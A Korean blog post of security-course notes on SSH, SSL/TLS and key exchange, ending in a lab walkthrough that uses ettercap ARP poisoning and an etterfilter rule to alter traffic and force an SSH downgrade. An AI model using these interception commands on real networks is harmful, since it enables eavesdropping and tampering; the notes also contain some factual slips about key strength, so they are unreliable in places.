SSH
시큐어 셸(Secure Shell, SSH)은 네트워크 상의 다른 컴퓨터에 로그인하거나 원격 시스템에서 명령을 실행하고 다른 시스템으로 파일을 복사할 수 있도록 해 주는 응용 프로그램 또는 그 프로토콜을 가리킨다. 기존의 rsh, rlogin, 텔넷 등을 대체하기 위해 설계되었으며, 강력한 인증 방법 및 안전하지 못한 네트워크에서 안전하게 통신을 할 수 있는 기능을 제공한다. 기본적으로는 22번 포트를 사용한다.
SSH는 암호화 기법을 사용하기 때문에, 통신이 노출된다고 하더라도 이해할 수 없는 암호화된 문자로 보인다.
 
SSH는 버클리 서비스들(rsh, rcp, rlogin, rexec)telnet, ftp 서비스를 좀 더 보안이 강화된 명령으로 대체하기 위해 만들었다. 1995년 핀란드의 Tatu Ylönen이 개발해 공개했고, 많은 반향을 일으켰다. 1995년 말 YlönenSSH Communications Security사를 설립하고, 상용화되었다. 소스 코드는 공개되었지만 여러가지 제약이 있었다고 하는데, 이에 SSH 1.2.12 릴리즈를 기반으로 OpenSSH 프로젝트가 결성되고 BSD 라이선스로 개발하기 시작했다. OpenSSH가 처음 선보인건 1999OpenBSD 2.6 릴리즈부터이다. 이후 계속 보완되어 오늘날에 이르게 되었다.
 
 
SSL
전송 계층 보안 (영어: Transport Layer Security, TLS, 과거 명칭: 보안 소켓 레이어/Secure Sockets Layer, SSL)는 암호 규약이다. 그리고 '트랜스포트 레이어 보안'이라는 이름은 '보안 소켓 레이어'가 표준화 되면서 바뀐 이름이다. 이 규약은 인터넷 같이 TCP/IP 네트워크를 사용하는 통신에 적용되며, 통신 과정에서 전송계층 종단간 보안과 데이터 무결성을 확보해준다. 이 규약은 웹 브라우징, 전자 메일, 인스턴트 메신저, voice-over-IP (VoIP) 같은 응용 부분에 적용되고 있다. 국제 인터넷 표준화 기구(IETF)에 의해 현재 구식(deprecate)으로 간주되어 있다. 최종 갱신은 RFC 5246이고, 최종 갱신 버전은 넷스케이프에서 만든 SSL 표준을 바탕으로 했다.
 
 
SSH안전하게 데이터 전송, 암호화 인캡슐레이션
version : 1.5 , 1.99, 2.0
version 1 : 하이브리드 방식 암호화
//대칭키 암호화 알고리즘 , 공개키 암호화 알고리즘의 장점을 섞어 놓음
 
 
 
 
 
 
대칭키 : 암호화키와 복호화키가 같음
공개키 : 암호화와 복호화의 키가 다름, 공개키 , 개인키 둘 중 하나로 암호화를 했으면 다른하나로 복호화를 함
 
키 기반 암호화 알고리즘 : 암호화 알고리즘이 공개가 되어있다.핵심적인 값을 알아야지만 암호화와 복호화가 가능하다 그 값은 키다.키는 비트로 표현, 보통 최소 128비트(16바이트), 경우의 수가 최소 40억개의 경우의 수기 때문에 실질적으로 브루트포스공격은 불가능하다.
현재 암호화 알고리즘은 안전하다.
 
대칭키 암호화 장단점
장점 : 간단하다.암호화,복호화 속도가 빠르다.통신용으로 적합함
단점 : 복호화키를 네트워크를 통해 전송해야하므로 스니핑공격에 취약하다.통신 노드가 많아질수록 키 관리가 어렵다.
 
공개키 암호화 장단점
장점 : 보안성, 키관리가 쉽다.(공개키 저장소로부터 받기 때문), 부인방지,인증(신원확인)
단점 : 느리다. MITM에 취약하다.그래서 공인인증 기관이 생겨났다.
 
하이브리드 키 : 대칭키(세션키를 만든다)그리고 그 키를 암호화 한다(공개키로) 개인키로 공개키를 풀면 대칭키가 전송이 된다.그리고 대칭키로 통신을 한다.
 
SSL
공인인증기관은 공개키를 인증해준다.
공인인증기관만 안전하게 보호 받는다면 안전한 통신이 가능하다.
 
SSH v1 : hybrid
SSH v2 : Diffie Hellman
SSH v1.99 :
Diffie Hellman
디피-헬먼 키 교환(DiffieHellman key exchange)은 암호 키를 교환하는 하나의 방법으로, 두 사람이 암호화되지 않은 통신망을 통해 공통의 비밀 키를 공유할 수 있도록 한다. 휫필드 디피와 마틴 헬먼이 1976년에 발표하였다.
디피-헬먼 키 교환은 기초적인 암호학적 통신 방법을 수립하였으며, 이후 1977년 공개 키 암호 방식인 RSA 암호가 제안되었다.
 
키교환 알고리즘(분배 알고리즘)
키를 만드는 방법을 교환하는 알고리즘.
 
SSH v1.99 : 서버와 클라이언트간의 협상, 트래픽 자체에 클라이언트에게 서버의 프로토콜 버전을 보낸다 , 만약 1.99버전 정보를 노낸다면 클라이언트가 버전을 선택하여 서버와 연결을 한다.

CentOS SSH 설정
[root@localhost Desktop]# service sshd start
[root@localhost Desktop]# vi /etc/ssh/sshd_config
 
 
protocol 1,2 (버전1과 버전2를 둘 다 지원)

XP SSH 연결
 
puttyCentOS ssh 연결
 

SSH Version 2.0
CentOS
[root@localhost Desktop]# vi /etc/ssh/sshd_config

XP wireshark

SSH Version 1.0
CentOS
[root@localhost Desktop]# vi /etc/ssh/sshd_config

XP wireshark

SSH Version 1,2
CentOS
[root@localhost Desktop]# vi /etc/ssh/sshd_config

XP wireshark

Version Negotiation 공격(버전 다운그레이드 공격)
XP -> CentOS
시나리오 nc를 이용하여 문자전송 BT가 패킷을 가로채서 문자를 변조
 
 
root@bt:~# mkdir filter
root@bt:~# cd filter/

root@bt:~/filter# vi filter.src
if (search(DATA.data, "hello"))
{
replace("hello", "bye");
}

/*
etterfilter에서 사용하는 문법.DATA.data는 패킷의 데이터를 의미한다.
*/
root@bt:~/filter#
root@bt:~/filter# etterfilter -o filter filter.src

컴파일이 완료되고 에러메시지가 뜨지 않으면 성공이다.
 
MITM 구현
root@bt:~/filter# ettercap -T -M arp -F filter /10.10.10.10/ /10.10.10.30/
 
XP설정

CentOS
[root@localhost Desktop]# nc 10.10.10.10 4321

XP의 hello문자열이 BT를 거쳐 CentOS에 bye로 바뀌는 것을 알 수 있다.
실습
SSH 버전 강제 다운그레이드
CentOS 1.99 -> BT 1.5 -> XP 1.5
BT 설정
root@bt:~/filter# vi filter.src

root@bt:~/filter# etterfilter -o filter filter.src
root@bt:~/filter# ettercap -T -M arp -F filter /10.10.10.10/ /10.10.10.30/
 
 
 
BT패킷 변화 확인


  XP 확인
 

SSH 1.5버전으로 다운그레이드 된 것을 확인 할 수 있다.
 
 
SSL(TLS)
핵심 키워드
1.전송계층에서 사용
2.인증서
 
MITM에 취약한 공개키 알고리즘 해결하고자 만들어 졌다.
SSL 과정
1.서버는 개인키를 제외한 모든 정보를 인증기관에 제출을 한다.(공개키 포함)
2.공인인증기관은 서버의 제출 정보의 타탕여부를 보고 인증기관의 개인키로 암호화된 인증서를 발급, 인증기관의 공개키로 인증서를 풀 수 있다. 이 공개키는 클라이언트가 가지고 있다(브라우저에 인증기관의 공개키가 담겨져 있다.)
클라이언트와 서버간에 3핸드쉐이크가 일어날 때 서버의 인증서를 클라이언트로 패킷에 담아 보낸다.
3.클라이언트는 세션키를 만들어서 서버로 보내서 등록한다.
 
 
 
인증서
1.인증서에 대한 신뢰관계를 따질 수 있다.
2.서버에 대한 모든 정보가 들어가 있다.
3.실제 접속한 싸이트가 맞는지 인증이 가능
4.서버의 공개키가 들어가 있다.
 
 
XP SP3 설치
VMnet 8 NAT으로 설정, IP 동적할당
http://www.google.com 으로 접속확인
만일 접근이 되지 않는다면 브라우저 - 인터넷옵션 - 고급
SSL 사용
TLS 사용으로 설정

정상접속 확인

'정보보안 > Network' 카테고리의 다른 글

SSL Strip  (339) 2020.08.02
PBR(정책기반 라우팅), Tunneling  (333) 2020.08.02
DNS Spoofing,파밍  (383) 2020.08.02
DHCP Starvation 공격(DOS공격 중 하나)  (312) 2020.08.02
DHCP Spoofing  (357) 2020.08.02

+ Recent posts